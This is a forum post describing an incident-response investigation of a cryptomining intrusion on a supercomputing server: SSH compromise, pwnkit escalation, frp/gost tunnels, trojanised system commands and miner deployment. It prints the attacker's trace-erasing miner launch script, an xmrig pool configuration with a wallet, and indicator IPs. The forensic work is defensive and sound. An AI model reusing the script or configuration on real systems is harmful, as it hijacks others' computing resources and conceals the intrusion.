找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2361

积分

0

好友

313

主题
发表于 3 小时前 | 查看: 2| 回复: 0

事件背景

根据某省超算平台中心应急响应工作要求,针对超算中心提供的超算平台服务器(172.16.0.x)及相关服务器进行安全事件应急响应,目标是发现此次挖矿事件中被黑客利用的漏洞和系统脆弱点,还原整个攻击过程,恢复服务器正常业务运转,并提供应急响应报告和系统整改意见。

采用的技术方法

本次应急响应将采取以下技术方法:

方法 说明
日志分析 通过对应用、系统、中间件和安全设备等日志进行分析,发现攻击痕迹与可疑行为,定位安全隐患和攻击路径。
攻击溯源 根据攻击者在服务器上留下的痕迹(如系统日志)进行逐步分析,还原其攻击路径和利用的漏洞。
程序沙箱分析 对发现的恶意程序进行沙箱和代码分析,识别其恶意逻辑,为清除病毒、恢复业务提供依据。

常用应急工具

在实际的应急响应过程中,通常会借助以下工具:

工具类型 应急工具名称
日志分析 LogViewPro, Papertrail, ELK Stack 等
后门与webshell扫描 D盾, WebShellKiller 等
攻击溯源 Wireshark, Dsniffer, LogViewPro 等
恶意程序分析 IDA Pro, WinHex 等
漏洞验证 Metasploit, sqlmap, BurpSuite, CVE利用脚本等

事件分析与溯源过程

2025年08月27日09:30到达客户现场。经沟通,客户已采取以下初步处置措施:

  • 中断受害服务器(172.16.0.167)的互联网连接。
  • 通过出口防火墙(山石)对SSH端口访问进行限制。
  • 已对172.16.0.167服务器进行过两轮人工查杀。

1. 初始告警与攻击源定位

首先查看态势感知系统告警,发现在8月16日19:45分出现了关于frp代理工具的高危告警。

网络安全监控界面截图,显示frp代理工具告警

告警显示攻击IP为 45.79.108.110。通过威胁情报查询,该IP地理位置在美国加利福尼亚州,并被标记为反向代理或FRP工具。

IP地址45.79.108.110的威胁情报详情

2. 攻击者初期活动轨迹

调取8月16日全量日志进行回溯分析:

  • 19:17:服务器172.16.0.167访问了 cip.cc 域名,这通常是攻击者获取服务器公网IP地址的行为,表明此时攻击者已获得服务器权限。

网络数据包记录显示对cip.cc的访问

  • 19:23:攻击者控制服务器访问 39.106.248.18,下载了两个压缩文件:l1.tgzl.tgz

日志显示从39.106.248.18下载l1.tgz文件

浏览器历史记录中保存的下载链接

3. 第一阶段工具植入分析

对下载的文件进行解压分析:

  • l.tgz 文件:解压后得到 l.tar,继续解压得到 lan 文件夹。其中包含内网代理工具 frpc,其配置文件显示已设置SSH端口转发(remote_port=2334),指向一个境外服务器 178.254.22.168:8081

文件资源管理器显示lan文件夹及frpc配置文件

  • l1.tgz 文件:解压后得到 l1.tar,其内容为 Localroot-ALL-CVE 文件夹,内含大量针对不同年份和系统的Linux本地提权漏洞利用脚本。

文件资源管理器显示Localroot-ALL-CVE提权脚本库

4. 攻击持续与第二阶段载荷投递

日志显示,自19:24分起,服务器 172.16.0.167 开始与攻击IP 45.79.108.110 建立持续连接,意味着frp代理隧道已成功建立。

网络日志显示与攻击IP的持续连接

20:02 左右,攻击者再次从 39.106.248.18 下载了新的文件:g.tgztunnel

日志显示下载g.tgz和tunnel文件

在下载过程中,本地杀毒软件实时拦截并报告 g.tgz 为比特币挖矿病毒。

病毒防护日志拦截HackTool/Linux.BitCoinMiner.a

5. 挖矿病毒与隐藏手段分析

取回被拦截的 g.tgz 文件进行分析:

  • 解压后得到 gomihner 两个文件。

解压g.tgz得到go和mihner文件

  • 沙箱分析确认 mihnerCoinMiner 家族挖矿程序。

恶意软件沙箱分析报告显示mihner为挖矿病毒

  • go 文件是一个Shell脚本,功能是:生成随机文件名,复制 mihner 挖矿程序并以随机名称运行,然后删除原始病毒文件以清除痕迹。
#!/bin/sh

dir=$(pwd) 2>/dev/null
rand=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1) 2>/dev/null
cp $dir/mihner $dir/$rand 2>/dev/null
./$rand -lan 10.10.10.100:443 -r -c -k -h $rand
rm -rf $rand mihner go g.tgz 2>/dev/null

同时,对 tunnel 文件分析确认其为红队常用的 gost 代理工具,用于流量转发。

gost代理工具的沙箱分析报告

6. 挖矿行为验证

日志分析发现,从 20:03 开始,服务器开始连接两个矿池地址:45.33.69.138192.81.128.77

网络日志显示连接矿池IP 45.33.69.138和192.81.128.77

威胁情报显示,这两个IP均为已知的公共矿池。

IP地址45.33.69.138被标记为公共矿池

IP地址192.81.128.77被标记为公共矿池和CDN服务器

7. 后续持久化与隐藏操作

  • 20:15:攻击者从 97.107.137.16439.106.248.18 下载了 cart.tgz 文件。

日志显示下载cart.tgz文件

解压后得到 topuptimew 三个文件,推测意图是替换系统同名命令,实现驻留隐藏。

cart.tgz解压出的top、uptime、w文件

沙箱分析确认这三个文件均为 DropPerl 家族木马,具有信息收集和隐藏自身行为的特性。

w文件的恶意行为分析报告

top文件的恶意行为分析报告

uptime文件的恶意行为分析报告

  • 20:09:攻击者从 39.106.248.18 下载了 proxy2022.tgz 文件,杀软再次报毒。

日志显示下载proxy2022.tgz文件

病毒防护日志拦截HackTool/Linux.CoinMiner.n

分析发现,该文件实为门罗币(XMR)挖矿程序 xmrig,其配置文件中包含了攻击者的钱包地址和矿池信息。

...
"pools": [
    {
        "algo": "rx/0",
        "coin": null,
        "url": "199.247.0.216:10128",
        "user": "42tGCaozbTPj3rgikVBb8iEBem23cBnx6N1BhAcKZZVLXMt5wAFSTKWfTIL6dm356bnZxo2rwZcaGYYSqoURCZ1yU6vjKrsq",
        "pass": "G",
...

xmrig挖矿程序的配置文件内容

xmrig程序的沙箱分析报告

态势感知系统也捕获到了相关的挖矿行为告警。

态势感知告警列表显示挖矿事件

8. 攻击入口溯源(登录与提权)

根据 frp 代理开始活动的时间点(19:24),回溯服务器 172.16.0.167 的系统认证日志 (/var/log/secure 等)。

发现关键记录:在 19:16:24,账号 sc13003 使用了 pwnkit 提权工具。

系统日志显示sc13003账号使用pwnkit提权

进一步检索 sc13003 账号的所有日志,完整攻击链如下:

  • 19:15:40:攻击者从IP 47.94.16.87 通过SSH密码登录 sc13003 账号。
  • 19:16:开始使用 pwnkit 进行提权操作。
  • 19:27:重新登录并再次提权,成功获取 root 权限。随后,攻击者利用 root 权限切换 (su) 到多个其他用户账号(如 chenzl, nano005 等)。
  • 20:52sc13003 账号登出。

系统认证日志详细记录攻击者登录、提权及横向移动过程

此外,日志还显示在 23:02,另一个账号 sc13089 也存在 pwnkit 提权行为,攻击IP同样为 47.94.16.87

系统日志显示sc13089账号的提权行为

追溯 sc13089 账号,发现其攻击始于8月16日 23:01,并持续活跃至8月17日凌晨 01:56

sc13089账号的登录时间线记录

事件完整结论

通过对日志、文件和行为的关联分析,本次超算中心挖矿事件的完整攻击链得以还原:

  1. 初始入侵:8月16日 19:15,攻击者通过IP 47.94.16.87 爆破或利用弱口令,成功SSH登录用户 sc13003
  2. 权限提升:登录后立即使用 pwnkit 本地提权工具获取 root 权限。
  3. 信息收集19:17,通过访问 cip.cc 探测服务器公网IP。
  4. 工具投递19:23,从阿里云服务器 39.106.248.18 下载 frp 内网穿透工具 (l.tgz) 和Linux提权脚本合集 (l1.tgz)。
  5. 建立隧道19:24,启动 frp 客户端,建立反向代理隧道,实现持久化访问。
  6. 部署挖矿20:02,通过隧道下载 g.tgz (含 mihner 挖矿病毒和启动脚本) 和 gost 代理工具 (tunnel)。
  7. 启动挖矿20:03,执行挖矿脚本,开始连接境外公共矿池 45.33.69.138192.81.128.77
  8. 增强隐藏20:0920:15,分别下载门罗币挖矿程序 (proxy2022.tgz) 和用于替换系统命令的后门文件 (cart.tgz),意图长期驻留并隐藏挖矿进程。
  9. 横向移动:攻击者在获得 root 权限后,尝试切换至系统内其他用户账号。
  10. 持续攻击:当晚 23:01,攻击者使用同一IP (47.94.16.87) 入侵另一账号 sc13089 并提权,活动持续至次日凌晨。

本次事件是一起典型的利用弱口令或SSH暴力破解获取初始访问权限,进而提权、建立隧道、投递挖矿病毒并尝试持久化的安全攻击。

攻击事件完整溯源与处置流程思维导图

此次应急响应过程展现了从告警触发、日志分析、文件溯源到行为还原的完整链条。对于企业和机构而言,强化SSH口令策略、部署网络层入侵检测系统(如识别异常外联和代理工具流量)、建立完善的日志分析与监控体系至关重要。更多关于安全运维的实战讨论,欢迎访问云栈社区的相关板块进行交流。




上一篇:实验物理学家迈克尔孙为何懊悔?爱因斯坦亲述:艺术的实验家与抽象理论的冲突
下一篇:我用OpenClaw搭建“一人公司”,让小龙虾都能经营茶叶店
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-15 09:46 , Processed in 0.448242 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表